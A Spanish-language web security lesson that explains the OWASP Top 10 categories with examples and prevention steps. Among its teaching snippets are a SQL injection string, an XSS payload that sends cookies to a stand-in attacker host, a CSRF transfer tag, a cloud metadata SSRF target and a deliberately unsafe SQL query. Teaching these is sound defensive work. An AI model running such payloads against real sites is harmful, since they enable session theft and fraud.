Lección 3 de 6 — Las 10 vulnerabilidades más críticas en aplicaciones web según el Open Web Application Security Project (OWASP).
Fallos en la autorización que permiten a usuarios acceder a funciones o datos que no les corresponden. Es la categoría más frecuente.
Ejemplos: escalada de privilegios (IDOR), modificación de URL para acceder a datos de otro usuario, omisión de verificaciones en APIs.
Prevención: denegar por defecto, aplicar controles de acceso en servidor, registrar intentos fallidos, usar frameworks que centralicen la autorización.
Datos sensibles expuestos por cifrado débil, ausencia de cifrado, o mal manejo de claves.
Ejemplos: contraseñas en texto plano, TLS mal configurado, uso de algoritmos obsoletos (MD5, SHA-1, RC4), certificados caducados.
Prevención: cifrar datos sensibles en tránsito (TLS 1.3) y en reposo (AES-256), usar bcrypt/Argon2 para contraseñas, no inventar criptografía propia.
Envío de datos no confiables a un intérprete como parte de un comando o consulta. Inyección SQL es la más conocida.
-- Ejemplo de inyección SQL -- En formulario: ' OR '1'='1 SELECT * FROM usuarios WHERE email = '' OR '1'='1' AND password = '...'
Otras inyecciones: NoSQL, OS Command Injection, LDAP, XML (XXE).
Prevención: consultas parametrizadas (prepared statements), ORM, validación estricta de entrada, escapes adecuados.
# Bueno (Python + SQLite parametrizado)
cursor.execute("SELECT * FROM usuarios WHERE email = ?", (email,))
# Malo (concatenación)
cursor.execute(f"SELECT * FROM usuarios WHERE email = '{email}'")
Vulnerabilidades derivadas de decisiones de diseño deficientes, no de fallos de implementación.
Ejemplos: falta de límites de tasa (rate limiting), procesos de recuperación de contraseña débiles, "security by obscurity".
Prevención: threat modeling, principios de secure-by-design, usar patrones de seguridad establecidos.
Configuraciones predeterminadas inseguras, servicios innecesarios habilitados, cuentas por defecto, directorios listables.
Prevención: hardening de servidores, eliminar cuentas por defecto, deshabilitar servicios no usados, revisar configuraciones periódicamente.
Usar bibliotecas, frameworks o dependencias con vulnerabilidades conocidas (CVE).
Ejemplos: Log4Shell (CVE-2021-44228), bibliotecas npm/pip/Composer desactualizadas.
Prevención: mantener dependencias actualizadas, usar SBOM (Software Bill of Materials), herramientas como Dependabot, Snyk.
Mecanismos de autenticación débiles que permiten suplantación de identidad.
Ejemplos: fuerza bruta sin bloqueo, contraseñas débiles, sesiones predecibles, ausencia de 2FA, session fixation.
Prevención: MFA/2FA, políticas de contraseñas robustas, rate limiting, secure cookies (HttpOnly, Secure, SameSite).
Actualizaciones o parches sin verificar, pipelines CI/CD inseguros, descargas sin verificar checksums.
Prevención: firmar actualizaciones, verificar firmas e integridad, usar repositorios oficiales.
Registro insuficiente de eventos de seguridad, incapacidad de detectar ataques en curso.
Prevención: registrar intentos fallidos, accesos sospechosos, alertas en tiempo real, SIEM (Splunk, ELK).
Un atacante induce al servidor a realizar peticiones HTTP a destinos internos (localhost, redes internas, AWS metadata).
Ejemplos: explotar funcionalidades que cargan URLs remotas para acceder a http://169.254.169.254/ (metadata cloud).
Prevención: validar y restringir URLs de entrada, denegar tráfico a IPs privadas, usar whitelists.
El XSS permite inyectar scripts maliciosos en páginas web vistas por otros usuarios.
<!-- XSS Reflejado -->
https://ejemplo.com/buscar?q=<script>alert('XSS')</script>
<!-- XSS Almacenado -->
<script>document.location='https://atacante.com/robar?cookie='+document.cookie</script>
<!-- Prevención en PHP -->
<?php echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); ?>
El atacante engaña al navegador de la víctima para que realice una acción no deseada en una aplicación autenticada.
<!-- El usuario autenticado en banco.com visita un sitio malicioso que contiene: --> <img src="https://banco.com/transferir?cuenta=ATACANTE&monto=5000">
Prevención: tokens CSRF (anti-CSRF tokens), SameSite cookies (Strict/Lax), verificar cabecera Origin/Referer.